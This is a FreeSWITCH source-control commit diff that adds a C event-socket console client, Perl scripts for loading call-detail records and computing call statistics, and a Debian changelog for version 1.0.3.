+int		flag, prompt, display;
+
+char *trim(char *str);
+void print_tokens(char *line);
+
+
+#ifdef WIN32
+typedef SOCKET socket_t;
+#else
+typedef int socket_t;
+#endif
+
+typedef enum {
+	STATUS_SUCCESS
+} status_t;
+
+static int socket_set_nonblock(socket_t sd)
+{
+#ifdef WIN32
+	u_long argp = 1;
+	if (ioctlsocket(sd, FIONBIO, &argp) == SOCKET_ERROR) {
+		return ((WSAGetLastError() == 0) ? STATUS_SUCCESS : WSAGetLastError());
+	}
+#else
+	flag = fcntl(sd, F_GETFL, 0);
+	flag |= O_NONBLOCK;
+	if (fcntl(sd, F_SETFL, flag) == -1) {
+		return errno;
+	}
+#endif
+	return STATUS_SUCCESS;
+}
+
+unsigned long getaddr(char *host_name)
+{
+	struct hostent *host;
+	unsigned long addr = 0;
+	struct in_addr address;
+
+	if (isalpha(host_name[0])) {   /* host address is a name */
+		host = gethostbyname(host_name);
+		if(!host) {
+			return 0;
+		} else {
+			address = *(struct in_addr*)host->h_addr_list[0];
+			addr = address.s_addr;
+		}
+	}
+	else  { 
+	  addr = inet_addr(host_name);
+	}
+
+	return addr;
+}
+
+int main(int argc, char *argv[])
+{
+
+	int len;
+	char    contents[4096];
+
+	char whitespace[] = "\r";
+	char *token, *token_split, *subtoken_split;
+	char token_key[32], token_val[32], token_contents[4096], subtoken_contents[4096];
+	char subtoken_key[32], subtoken_val[32];
+
+	struct sockaddr_in sin = {0};
+
+	char cmd[256];
+
+	if (argv[1] && !strcmp(argv[1], "--help")) {
+		fprintf(stderr,"usage %s hostname port secret\n", argv[0]);
+		exit(0);
+	}
+
+	/* Hostname, Port and Secret defined on command line */
+	if (argc > 1) {
+		hostname = argv[1];
+	} else if (argc > 2) {
+		port = (u_short)atoi(argv[2]);
+	} else if (argc > 3) {
+		secret = argv[3];
+	}
+
+	/* Init socket descriptor */
+	sd = socket(AF_INET, SOCK_STREAM, 0);  
+
+	/* Put Data intoN sockaddr_in struct */
+	sin.sin_family = AF_INET;
+	sin.sin_port =  htons(port);
+	sin.sin_addr.s_addr = getaddr(hostname);
+
+	/* Connect Socket */
+	if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) < 0)
+	{
+		perror("connecting");
+		exit(1);
+	}
+
+	/* Set Socket Descriptor to Non-Blocking */
+	socket_set_nonblock(sd);
+
+	/* Set the prompt to non-blocking */
+	socket_set_nonblock(0);
+
+	/* Print the Introduction */
+	printf(intro);
+
+	/* First Prompt = No, would show before authentication.... */
+	prompt = 0;
+
+	/* While Program is Running... */
+	for(;;)
+     	{
+		/* If Authenticated -- print the current version */
+		if (command)
+		{
+			if(!strcmp(command,"authenticated"))
+			{
+				/* Print the version */
+				printf("\nRunning Version:\n");
+				sprintf(buffer, "api version\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+
+				/* Authentication Complete -- set current command to blank */
+				command = "";
+			}
+		}
+
+		/* Prompt */
+		if (prompt)
+		{
+			printf("\n%s@%s> ", app, hostname);
+			prompt = 0;
+		}
+
+                memset(contents, 0, sizeof(buffer));
+                memset(buffer, 0, sizeof(buffer));
+                memset(cmd, 0, sizeof(cmd));
+
+		len = atoi(buffer);
+		if (len <= 0) len += buflen;
+		len = recv(sd, buffer, len, 0);
+  
+		if (len > 0)
+		{
+			if (debug > 1)
+				printf("Received a response: len %d.\n", len);
+
+			if (debug > 2)
+				display = 1;
+
+			memset(contents, 0, sizeof(contents));
+			strncpy(contents, buffer, len);
+
+			/* Print Incoming input to screen if debug enabled or display is set */
+			if (debug > 0 || display == 1) 
+			{
+				write(1,contents,len);
+
+				/* If not debugging, Prevent Display of Response */
+				if (debug < 2)
+					display = 0;
+
+				/* Response received -- Set the prompt */
+				prompt = 1;
+
+
+			}
+
+			/* print_tokens(contents); */
+			for (token=strtok(contents,whitespace); token !=NULL; token=strtok(NULL,whitespace))
+			{
+
+				/* Multiline requires \r, set back to \r
+					to properly execute the display of responses! UNF */
+				strcpy(whitespace, "\r");
+
+				sprintf(token_contents, "%s", token);
+	
+				token_split = strtok(token_contents, ":");
+					sprintf(token_key, "%s", token_split);
+				token_split = strtok(NULL, "\n");
+					sprintf(token_val, "%s", token_split);
+				token_split = strtok(NULL, "\n");
+
+				token = strtok(NULL, "\n\n");
+
+				trim(token_val);
+
+				if (debug > 2)
+					printf("\nkey: '%s', val: '%s'\n", token_key, token_val);
+
+				if (strcmp(token_key, "Content-Type") == 0)
+				{
+					display = 1;
+
+					if (strcmp(token_val, "auth/request") == 0)
+					{
+
+						printf("\nAuthenticating...\n");
+			
+						command = "auth";
+						sprintf(buffer, "auth %s\n\n", secret);
+						write((int)sd, buffer, (unsigned int)strlen(buffer));
+
+						/* If not debugging, Prevent Display of Response */
+						if (debug < 2)
+							display = 0;
+
+				     	} else if (strcmp(token_val, "command/reply") == 0) {
+
+						/* Parse the reply */		
+						sprintf(subtoken_contents, "%s", token_split);
+	
+						subtoken_split = strtok(subtoken_contents, ":");
+							sprintf(subtoken_key, "%s", subtoken_split);
+						subtoken_split = strtok(NULL, "\n");
+							sprintf(subtoken_val, "%s", subtoken_split);
+						subtoken_split = strtok(NULL, "\n");
+
+						trim(subtoken_val);
+
+						if (debug > 2)
+							printf("subkey: '%s', subval: '%s'\n", subtoken_key, subtoken_val);
+
+						if (strcmp(subtoken_key, "Reply-Text") == 0)
+						{
+							if (strcmp(subtoken_val, "+OK accepted") == 0)
+							{
+								if (strcmp(command, "auth") == 0)
+								{
+									printf("Authentication Successful\n");
+									command = "authenticated";
+
+									/* Auth Command received -- Prompt and Display handled elsewhere */
+									prompt = 0;
+									display = 0;
+
+									/* Authentication required a \r, set back to \n 
+										to properly execute the display of responses! */
+									strcpy(whitespace, "\n");
+
+								}
+							} else if (strncmp(subtoken_val, "-", 1) == 0) {
+								/* Received an error, print */
+
+								printf("\n%s\n", subtoken_val);
+								/* Since we received a response, set the prompt */
+								prompt = 1;
+
+							} else if (strncmp(subtoken_val, "+", 1) == 0) {
+								/* Received an uncoded OK, print */
+
+								printf("\n%s\n", subtoken_val);
+								/* Since we received a response, set the prompt */
+								prompt = 1;
+
+							}
+
+											/* || "ts" is a hack -- why? */
+						} else if (strcmp(subtoken_key, "") == 0 || strcmp(subtoken_key, "ts") == 0) {
+							printf("\n%s\n", subtoken_val);
+							/* Since we received a response, set the prompt */
+							prompt = 1;
+						}
+
+					} else if (strcmp(token_val, "api/response") == 0) {
+
+						/* Since we received an api response, display results */
+						if (command && strcmp(command,"authenticated"))
+						{
+							display = 1;
+						}
+
+					}
+				} 
+
+			}
+
+		}
+
+		/* Get the command */
+		fgets(cmd, 254, stdin);
+
+		/* Received a Command */
+		if (strlen(cmd))
+		{
+
+			/* Received an Enter Only - Reset Prompt*/
+			if (strcmp(cmd, "\n") == 0) {
+				prompt = 1;
+			}
+
+			/* Drop the \n */
+			cmd[strlen(cmd) - 1] = 0;
+
+			/* If not debugging, Prevent Display of Response */
+			if (debug < 2)
+				display = 0;
+			
+			if (strcmp(cmd, "exit") == 0 || strcmp(cmd, "quit") == 0) {
+				printf("Exiting.. goodbye.\n");
+				break;
+			} else if (strncmp(cmd, "event", 5) == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strcmp(cmd, "noevents") == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strncmp(cmd, "log", 3) == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strcmp(cmd, "nolog") == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strncmp(cmd, "api", 3) == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strncmp(cmd, "bgapi", 5) == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strncmp(cmd, "sendevent", 9) == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strncmp(cmd, "sendmsg", 7) == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				sprintf(buffer, "%s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else if (strncmp(cmd, "help", 4) == 0 || strncmp(cmd, "?", 1) == 0) {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+				printf("\n-  Console  -\n");
+				printf("Valid Commands:\n\n");
+				printf("event [xml|plain] <list of events to log or all for all> - enable or disable events by class or all\n");
+				printf("noevents - disable all events that were previously enabled w/ event\n");
+				printf("nixevent <some_event> - command to allow 'events all' followed by 'nixevent <some_event>' to do all but <some_event>\n");
+				printf("log <level> - enable log output.  Levels same as the console.conf values\n");
+				printf("nolog - disable log output previously enabled by the log command\n");
+				printf("api <command> <arg> - send an api command (blocking mode)\n");
+				printf("bgapi <command> <arg> - send an api command (non-blocking mode) this will let you execute a job in the background\n");
+				printf("sendevent <event-name> - send an event into the event system (multi line input for headers)\n");
+				printf("exit - close the fsconsole\n");
+
+				printf("\n-    API    - ");
+
+				/* Print the additional api commands available from console... */
+				sprintf(buffer, "api help\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+			} else {
+				if (debug > 2)
+					printf("Received Command: %s\n", cmd);
+
+
+				sprintf(buffer, "api %s\n\n", cmd);
+				write((int)sd, buffer, (unsigned int)strlen(buffer));
+
+				printf("\n");
+
+			}
+
+		}
+
+		/* 100% CPU fix */
+		usleep(1);
+
+	}
+
+   closesocket(sd);
+}
+
+char *trim(char *str)
+{
+	char *ibuf = str, *obuf = str;
+	int i = 0, cnt = 0;
+
+	/*
+	**  Trap NULL
+	*/
+
+	if (str)
+	{
+		/* Remove leading spaces */
+		for (ibuf = str; *ibuf && isspace(*ibuf); ++ibuf)
+		;
+		if (str != ibuf)
+			memmove(str, ibuf, ibuf - str);
+
+		/*  Collapse embedded spaces */
+
+		while (*ibuf)
+		{
+			if (isspace(*ibuf) && cnt) {
+				ibuf++;
+			} else {
+
+				if (!isspace(*ibuf)) {
+					cnt = 0;
+				} else {
+					*ibuf = ' ';
+					cnt = 1;
+				}
+
+				obuf[i++] = *ibuf++;
+			}
+		}
+
+		obuf[i] = NUL;
+
+		/*  Remove trailing spaces */
+		while (--i >= 0)
+		{
+			if (!isspace(obuf[i]))
+				break;
+		}
+
+		obuf[++i] = NUL;
+	}
+
+	return str;
+
+}
+
+

Copied: freeswitch/branches/seven/contrib/wasim (from rev 14471, freeswitch/trunk/contrib/wasim)

Deleted: freeswitch/branches/seven/contrib/wasim/cFS.pl

Copied: freeswitch/branches/seven/contrib/wasim/cFS.pl (from rev 14471, freeswitch/trunk/contrib/wasim/cFS.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/wasim/cFS.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/wasim/cFS.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+#!/usr/bin/perl
+
+# Convergence FreeSwitch Tools Version 7.0 : AGI
+# (c) MMII Convergence. All rights reserved.
+# <info@convergence.pk> http://www.convergence.pk
+
+# This program is free software, distributed under the terms of
+# the GNU General Public License.http://www.gnu.org/licenses.html
+
+#$0 -t day -s 30 -e 20 -p 92 will get stats on daily basis for the last 30 to 20 hours for number beginning with 92 
+# make sure end_timestamp is indexed in the db
+
+#use warnings;
+use strict;
+use DBI();
+use Getopt::Long;
+
+GetOptions (
+    't|time:s' => \(my $t = 'hour'),
+    's|start:i' => \(my $i = '24'),
+    'e|end:i' => \(my $j = '0'),
+    'p|prefix:s' => \(my $prefix = 'WHERE 1')
+);
+
+my $prefix = "WHERE destination_number like '$prefix%' " if ($prefix ne 'WHERE 1');
+
+my $dbh		= DBI->connect("DBI:mysql:database=freeswitch;host=x.x.x.x","USER","PASS") or &die_call;
+
+my ($tcalls,$tans,$tmins,$tamins,$tacd,$tasr,$tbpct,$tbmins,$tpdd);
+while ($i > $j) {
+	&get_stats($i);
+	$i--;
+}
+$tasr 	= eval { ( sprintf("%.2f", $tans / $tcalls * 100)) };
+$tacd 	= eval { ( sprintf("%.2f", $tamins / $tans)) };
+$tbpct 	= eval { ( sprintf("%.2f", $tamins / $tmins * 100)) };
+$tpdd	= eval { ( sprintf("%.2f", (($tbmins - $tamins) * 60) / $tans)) };
+	
+print "\t\t\t       ------ \t        -----\t     ------\t        ------ \t     ---- \t     -----\t       ------\n" if $tans;
+print "\t\t\ttotal: $tcalls\tanswer: $tans\tasr: $tasr%\tminute: $tamins\tacd: $tacd\tpdd: $tpdd\tbill%: $tbpct%\n" if $tans;
+
+exit;
+
+sub get_stats {
+	my ($calls,$ans,$mins,$amins,$acd,$asr,$bpct,$pdd,$bmins);
+	my $time	= shift;
+	my $ntime	= $time-1;
+	my $stm		= "select count(*) as calls, sum(duration)/60 as mins from cdr $prefix and end_timestamp between 
+				date_sub(now(), interval $time $t) and date_sub(now(), interval $ntime $t)";
+	my $res 	= &do_db($stm);
+	$calls 		= $res->{'calls'};
+	$tcalls		= $tcalls + $calls;
+	$mins 		= sprintf("%.0f", $res->{'mins'});
+	$tmins		= $tmins + $mins;
+
+	$stm		= "select count(*) as ans, sum(billsec)/60 as amins, sum(duration)/60 as bmins,date_sub(now(), 
+				interval $ntime $t) as start from cdr $prefix AND HANGUP_CAUSE='NORMAL_CLEARING' 
+				and end_timestamp between date_sub(now(), interval $time $t) and date_sub(now(), interval $ntime $t)";
+	$res 		= &do_db($stm);
+	my $when	= $res->{'start'};
+	$ans		= $res->{'ans'};
+	$tans		= $tans + $ans;
+	$amins		= sprintf("%.0f", $res->{'amins'});
+	$tamins		= $tamins + $amins;
+	$bmins		= sprintf("%.0f", $res->{'bmins'});
+	$tbmins		= $tbmins + $bmins;
+
+	$asr 	= eval { ( sprintf("%.2f", $ans / $calls * 100)) };
+	$acd 	= eval { ( sprintf("%.2f", $amins / $ans)) };
+	$bpct 	= eval { ( sprintf("%.2f", $amins / $mins * 100)) };
+	$pdd	= eval { ( sprintf("%.2f", (($bmins - $amins) * 60) / $ans)) };
+	
+	print "$time $when\tcalls: $calls\tanswer: $ans\tasr: $asr%\tminute: $amins\tacd: $acd\tpdd: $pdd\tbill%: $bpct%\n" if $ans;
+}
+
+sub do_db {
+	my $sql         = shift;
+#	print "$sql\n";
+	my $get         = $dbh->prepare($sql) or die "Couldn't prepare statement: " . $dbh->errstr;
+	$get->execute();
+	my $res         = $get->fetchrow_hashref();
+	$get->finish();
+	return $res;
+}

Deleted: freeswitch/branches/seven/contrib/wasim/cdrload.pl

Copied: freeswitch/branches/seven/contrib/wasim/cdrload.pl (from rev 14471, freeswitch/trunk/contrib/wasim/cdrload.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/wasim/cdrload.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/wasim/cdrload.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+#!/usr/bin/perl -w
+
+# Convergence FreeSwitch Tools Version 7.0 : AGI
+# (c) MMII Convergence. All rights reserved.
+# <info@convergence.pk> http://www.convergence.pk
+
+# This program is free software, distributed under the terms of
+# the GNU General Public License.http://www.gnu.org/licenses.html
+
+use strict;
+use DBI();
+
+my @cc 	= ("killall", "-HUP", "freeswitch");
+system(@cc) == 0
+	or die "$0: system @cc failed: $?";
+
+my $dbh	= DBI->connect("DBI:mysql:database=DB;host=HOST","USER","PASSWORD") 
+	or die "$0: Couldn't connect to database: " . DBI->errstr;
+
+my @LS	= `ls -1t /usr/local/freeswitch/log/cdr-csv/Master.csv.*`;
+foreach my $line (@LS) {
+	chop($line);
+	my $stm	= "load data local infile '$line' into table TABLE fields enclosed by '\"' terminated by ','";
+	my $ul	= $dbh->prepare($stm)
+		or die "$0: Couldn't prepare statement $stm: " . $dbh->errstr;;
+	$ul->execute();
+	$ul->finish;
+	system("cat $line >> /usr/local/freeswitch/log/cdr-csv/FULL_Master.csv");
+	unlink $line;
+}
+
+exit;

Deleted: freeswitch/branches/seven/contrib/wasim/fshour.pl

Copied: freeswitch/branches/seven/contrib/wasim/fshour.pl (from rev 14471, freeswitch/trunk/contrib/wasim/fshour.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/wasim/fshour.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/wasim/fshour.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+#!/usr/bin/perl
+
+# Convergence FreeSwitch Tools Version 7.0 : AGI
+# (c) MMII Convergence. All rights reserved.
+# <info@convergence.pk> http://www.convergence.pk
+
+# This program is free software, distributed under the terms of
+# the GNU General Public License.http://www.gnu.org/licenses.html
+
+# usage: $0 interval start end prefix
+# for example: $0 day 30 20 92 will get stats on daily basis for the last 30 to 30 hours for number beginning with 92
+# make sure end_timestamp is indexed in the db
+
+#use warnings;
+my $debug=0;
+use strict;
+use DBI();
+use Getopt::Long;
+
+GetOptions (
+    't|time:s' => \(my $t = 'hour'),
+    's|start:i' => \(my $i = '24'),
+    'e|end:i' => \(my $j = '0'),
+    'p|prefix:s' => \(my $p = 'WHERE 1'),
+    'n|notprefix:s' => \(my $n = 'AND 1'),
+    'd|date:s'	=> \(my $d = 'NOW()')
+);
+
+$p		= "WHERE destination_number like '$p%' " if ($p ne 'WHERE 1');
+$n		= "AND destination_number not like '$n%' " if ($n ne 'AND 1');
+my $dbh		= DBI->connect("DBI:mysql:database=freeswitch;host=x.x.x.x","USER","PASS") or &die_call;
+
+my ($tcalls,$tans,$tmins,$tamins,$tacd,$tasr,$tbpct,$tbmins,$tpdd);
+
+while ($i > $j) {
+	&get_stats($d,$i);
+	$i--;
+}
+$tasr 	= eval { ( sprintf("%.2f", $tans / $tcalls * 100)) };
+$tacd 	= eval { ( sprintf("%.2f", $tamins / $tans)) };
+$tbpct 	= eval { ( sprintf("%.2f", $tamins / $tmins * 100)) };
+$tpdd	= eval { ( sprintf("%.2f", (($tbmins - $tamins) * 60) / $tans)) };
+	
+print "\t\t\t       ------ \t        -----\t     ------\t        ------ \t     ---- \t     -----\t       ------\n" if $tans;
+print "\t\t\ttotal: $tcalls\tanswer: $tans\tasr: $tasr%\tminute: $tamins\tacd: $tacd\tpdd: $tpdd\tbill%: $tbpct%\n" if $tans;
+
+exit;
+
+sub get_stats {
+	my $x		= shift;
+	my $i		= shift;
+	my $j		= $i-1;
+	my ($calls,$ans,$mins,$amins,$acd,$asr,$bpct,$pdd,$bmins);
+	my $stm		= "SELECT COUNT(*) AS calls, SUM(duration)/60 AS mins FROM cdr $p $n AND end_timestamp BETWEEN DATE_SUB($d, INTERVAL $i $t) AND DATE_SUB($d, INTERVAL $j $t)";
+	my $res 	= &do_db($stm);
+	$calls 		= $res->{'calls'};
+	$tcalls		= $tcalls + $calls;
+	$mins 		= sprintf("%.0f", $res->{'mins'});
+	$tmins		= $tmins + $mins;
+
+	$stm		= "SELECT COUNT(*) AS ans, SUM(billsec)/60 AS amins, SUM(duration)/60 AS bmins, DATE_SUB($d, INTERVAL $i $t) AS start FROM cdr $p $n AND HANGUP_CAUSE='NORMAL_CLEARING' AND end_timestamp BETWEEN DATE_SUB($d, INTERVAL $i $t) AND DATE_SUB($d, INTERVAL $j $t)";
+	$res 		= &do_db($stm);
+	my $when	= $res->{'start'};
+	$ans		= $res->{'ans'};
+	$tans		= $tans + $ans;
+	$amins		= sprintf("%.0f", $res->{'amins'});
+	$tamins		= $tamins + $amins;
+	$bmins		= sprintf("%.0f", $res->{'bmins'});
+	$tbmins		= $tbmins + $bmins;
+
+	$asr 	= eval { ( sprintf("%.2f", $ans / $calls * 100)) };
+	$acd 	= eval { ( sprintf("%.2f", $amins / $ans)) };
+	$bpct 	= eval { ( sprintf("%.2f", $amins / $mins * 100)) };
+	$pdd	= eval { ( sprintf("%.2f", (($bmins - $amins) * 60) / $ans)) };
+	
+	print "$i $when\tcalls: $calls\tanswer: $ans\tasr: $asr%\tminute: $amins\tacd: $acd\tpdd: $pdd\tbill%: $bpct%\n" if $ans;
+}
+
+sub do_db {
+	my $sql         = shift;
+	print "$sql\n" if $debug;
+	my $get         = $dbh->prepare($sql) or die "Couldn't prepare statement: " . $dbh->errstr;
+	$get->execute();
+	my $res         = $get->fetchrow_hashref();
+	$get->finish();
+	return $res;
+}

Modified: freeswitch/branches/seven/debian/changelog (14471 => 14472)


--- freeswitch/branches/seven/debian/changelog	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/changelog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,136 @@
+freeswitch (1.0.3-1) unstable; urgency=low
+
+   * build: add targets cd-sounds[-install] and cd-moh[-install] for 48k sounds (r:11151)
+   * build: autoconf detect odbc library (FSBUILD-8)
+   * build: fix sound install on windows build (r:11635,11638)
+   * build: fix configure --sysconfdir (FSBUILD-84)
+   * build: fix uclibc build (MODLANG-99)
+   * build: fix adduser in debian (FSBUILD-122, FSBUILD-102)
+   * core: fix buffering issues (r:11101,11145,11152-11157,11162,11191,11200)
+   * core: fix c leg no hangup when converting attended to blind transfer before b leg answers (MODENDP-165/r:11061)
+   * core: fix codec and media handling issues (r:11104) 
+   * core: fix double close of file handles and add recording of native files (r:11108-11113,11482,11483)
+   * core: fix file resampling issue (r:11090)
+   * core: fix incorrect call progress timestamps in timetable (r:11186-11187/FSCORE-268)
+   * core: fix media handling issues (r:11079-11082)
+   * core: fix multiple 2833 dtmf handling issues (r:11149,11261,11262,11266,11293,11294,11338/FSCORE-266,FSCORE-273)
+   * core: send more event types verbos bridge,unbridge,park,unpark (r:11097-11098)
+   * core: Prevent media setup on failed originates (r:11462/FSCORE-279)
+   * core: fix recorded soundfiles had random data at end of file (r:11491/MODAPP-205)
+   * core: fix user for windows service (r:11538/FSCORE-277)
+   * core: modify variable expansion code to expand in more places and to fix potential security issue from injecting variables (r:11569,11570)
+   * core: look for soundfiles in more locations based on rate (r:11601/MODFORM-23)
+   * core: state machine veto behavior changed (r:11610)
+   * core: add enable_file_write_buffering variable (r:11677)
+   * core: fix garbled audio on media bug during bridge using stateful codecs (FSCORE-288)
+   * core: fix tone detect running multiple bugs when detecting multiple tones
+   * core: add {instant_ringback=true} to make ringback not wait for indication to generate ringback
+   * core: fix segfault from race condition on multiple reloadxml calls (MOODAPP-211)
+   * core: modify xml locking so phrases do not lock the xml for the duration of playing them
+   * core: replace resampler with the speexdsp resampler
+   * core: fix windows calling convention on threads launched that return a value to fix shutdown segfault (FSCORE-298)
+   * core: do not auto-export origination_caller_id_* to avoid confusion (r:12052)
+   * core: API visibility support (GCC/SUNCC) (FSCORE-264)
+   * core: fix leak in exposed event class serialize method (r:12068)
+   * core: add volume as possible return value from input callback on embedded languages (r:12114)
+   * core: add resampler to seech handles (r:12141)
+   * core: add api.getTime to embedded languages (r:12149)
+   * freeswitch: allow you to specify -htdocs dir at runtime. (r:11614)
+   * fs_cli: add "debug" command to change the esl debug level at runtime (r:11057)
+   * iksemel: update to 1.3 (r:11645)
+   * libesl: fix disconnect failure (r:11078,11083)
+   * libesl: fix solaris build (r:11067,11068)
+   * libesl: add c++ wrapper and swigged wrappers for multiple scripting languages
+   * libg722_1: fix dct4.h code generator to include the "f" (r:11188-11189,11367)
+   * libilbc: update to new library from Steve Underwood
+   * mod_amrwb: add amr wideband passthrough codec (r:11971)
+   * mod_cepstral: fix failure return code handling (MODASRTTS-9)
+   * mod_conference: add 'conference xml_list' and 'conference [conf_name] xml_list' (r:11062-11063)
+   * mod_conference: make conference verbose-events param to control if events have all the channel data or not (r:11073-11077)
+   * mod_conference: add MINTWO flag to end conference when down to 1 participant (r:11523)
+   * mod_conference: refactor conference record function (r:11626)
+   * mod_conference: add conference list summary command (MODAPP-197)
+   * mod_conference: fix Deadlock or coredump on conference commands play, transfer (MODAPP-209)
+   * mod_dahdi_codec: added (MODCODEC-7)
+   * mod_dialplan_xml: make previous auto hunt feature optional and off by defaule use auto_hunt=true session or global variable to enable (r:12144)
+   * mod_dptools: Add failure_causes channel variable (r:12058)
+   * mod_easyroute: add configuration file example for custom-query (r:11055)
+   * mod_easyroute: add custom-query configuration option (r:11054)
+   * mod_easyroute: fix build error when not configured for odbc (r:11478)
+   * mod_easyroute: fix memory leak (r:11611)
+   * mod_erlang_event: add ability to spawn a process (module/function) outbound on a specified node. (r:11460,11477)
+   * mod_erlang_event: Fix some issues with standing up a new outbound listener and cleaning up after a failed session (r:11479)
+   * mod_erlang_event: Fix setting up a listener for an outbound session if one doesn't already exist (r:11488)
+   * mod_erlang_event: add "erlang" fscli command (r:11488)
+   * mod_erlang_event: Monitor spawned outbound processes for premature exits (r:11489)
+   * mod_erlang_event: Allow the event encoding strategy to be configurable; choices are string or binary (r:11495)
+   * mod_erlang_event: Allow certain tuple elements to be binaries or strings, to reduce conversion requirements on the erlang side (r:11496)
+   * mod_erlang_event: Support sending a message to a registered process to request a pid (when spawning won't cut it) (r:11499)
+   * mod_erlang_event: Ensure events received while a pid session is being created aren't discarded but are queued instead (r:11500)
+   * mod_erlang_event: Add freeswitch.erl - An erlang module to make talking to mod_erlang_event more painless (r:11525)
+   * mod_erlang_event: use rpc:call instead of spawn and to make the registered process argument to handlecall optional (r:11542)
+   * mod_event_socket: add ability to use a comma sep list of events on event-sink create-listener (r:11056)
+   * mod_event_socket: add debug logging to event-sink (r:11060)
+   * mod_event_socket: fix race condition (r:11680,12146)
+   * mod_dptools: add all modifier to break command (r:11557,11558)
+   * mod_dptools: add sound_test application (r:11658)
+   * mod_fax: Dont hangup after sending/receiving faxes
+   * mod_fifo: pause media bugs while not in a bridge (r:11466,11490)
+   * mod_fifo: allow unpark during chime list playing (r:11555/MODAPP-206)
+   * mod_fifo: fix outbound fifos doesn't check if the consumer is in the fifo in question. (r:11561/MODAPP-207)
+   * mod_fifo: Fix segfault when no argument were supplied to fifo_member call (MODAPP-210)
+   * mod_lcr: added (r:11180,11184,11532,11609)
+   * mod_limit: fix memory corruption caused by race condition when using limit hash (r:11070-11071)
+   * mod_limit: Fix transfer bug, fix leak and make the channel hangup if the extension is \!hangup_cause (r:11604,11932)
+   * mod_limit: add write different channel variables per realm_id (r:11608)
+   * mod_limit: Make max argument optional on the limit app, set the limit_usage variable to current count after inserting call in the db (r:11955)
+   * mod_lua: Create empty argv table when no args are passed to a Lua script (r:11559)
+   * mod_lua: use dll for lua windows build (FSCORE-299)
+   * mod_openmrcp: removed (r:11176-11179)
+   * mod_opal: added
+   * mod_pocketsphinx: fix leak (r:11974)
+   * mod_portaudio: fix stuck channels on outbound calls (r:11160,11470,11471,11472,11475,11476,11485)
+   * mod_python: fix build when site dir is not /usr/lib/python2.4 (r:12070)
+   * mod_say_en: add short form date/time (MODAPP-180)
+   * mod_sofia: add auto-rtp-bugs profile option to make rtp bug compensation configurable  (r :11146-11147)
+   * mod_sofia: add support in sdp for a=maxptime (r:11103)
+   * mod_sofia: fix codec change race condition (r:11143)
+   * mod_sofia: fix notify event wasn't allowing content-length 0 (r:11106/MODENDP-167)
+   * mod_sofia: fix sending extra sdp in 200 OK when using 100rel in violation of sdp o/a protocol draft-ietf-sipping-sip-offeranswer-10 (r:11088)
+   * mod_sofia: fix sip_auto_answer=true (r:11069)
+   * mod_sofia: improve outbound registration error message (r:11059)
+   * mod_sofia: reset media timeout on re-invite (r:11161)
+   * mod_sofia: fix segfault due to missing contact header in invite (r:11463/MODENDP-177)
+   * mod_sofia: allow <params> tag in gateways as well as <variables> with direction inbound/outbound (default both) and call counter (r:11468)
+   * mod_sofia: add support or SLA, works with Polycom and Snom(Sylantro mode). (r:11562/MODENDP-179)
+   * mod_sofia: tolerate missing user in the request uri (r:11636)
+   * mod_sofia: Add purpose=gateways and profile=[name] so xml_curl requests make sense (MDXMLINT-46)
+   * mod_sofia: Add disable-srv and disable-naptr params to sip profiles (default false) (MODENDP-183)
+   * mod_sofia: add outbound-proxy param (MODENDP-184)
+   * mod_sofia: fix segfault with stun-enabled=false (SFSIP-120)
+   * mod_sofia: Profile Name in Expire Event is incorrect (MODENDP-185)
+   * mod_sofia: add "scrooge" mode to "inbound-codec-negotiation" (r:11881)
+   * mod_sofia: Add context to reconfig_sofia (r:12080)
+   * mod_sofia: fix segfault when calling from a Cisco 7940 using bypass_media (FSCORE-301)
+   * mod_sofia: ilbc to default to 30 if no mode= fmtp is defined on the inbound (r:12110)
+   * mod_sofia: fix challenge-realm (r:12113)
+   * mod_sofia: Segmentation fault when running killgw command on sofia profile without specifying a gateway (MODENDP-189)
+   * mod_sofia: gateways will inherit the context from its parent unless manually provided (r:12138)
+   * mod_sndfile: Add IMA ADPCM support (MODFORM-22)
+   * mod_spidermonkey: fix loading of spidermonkey modules (r:11084-11085)
+   * mod_spidermonkey: block some unwanted behaviours in  session.originate
+   * mod_spidermonkey_socket: fix gc blocking (MODLANG-97)
+   * mod_xml_rpc: fixed authentication using @domain syntax (r:11064)
+   * mod_xml_rpc: fix http content types sent in responses (r:11099,11148,11150)
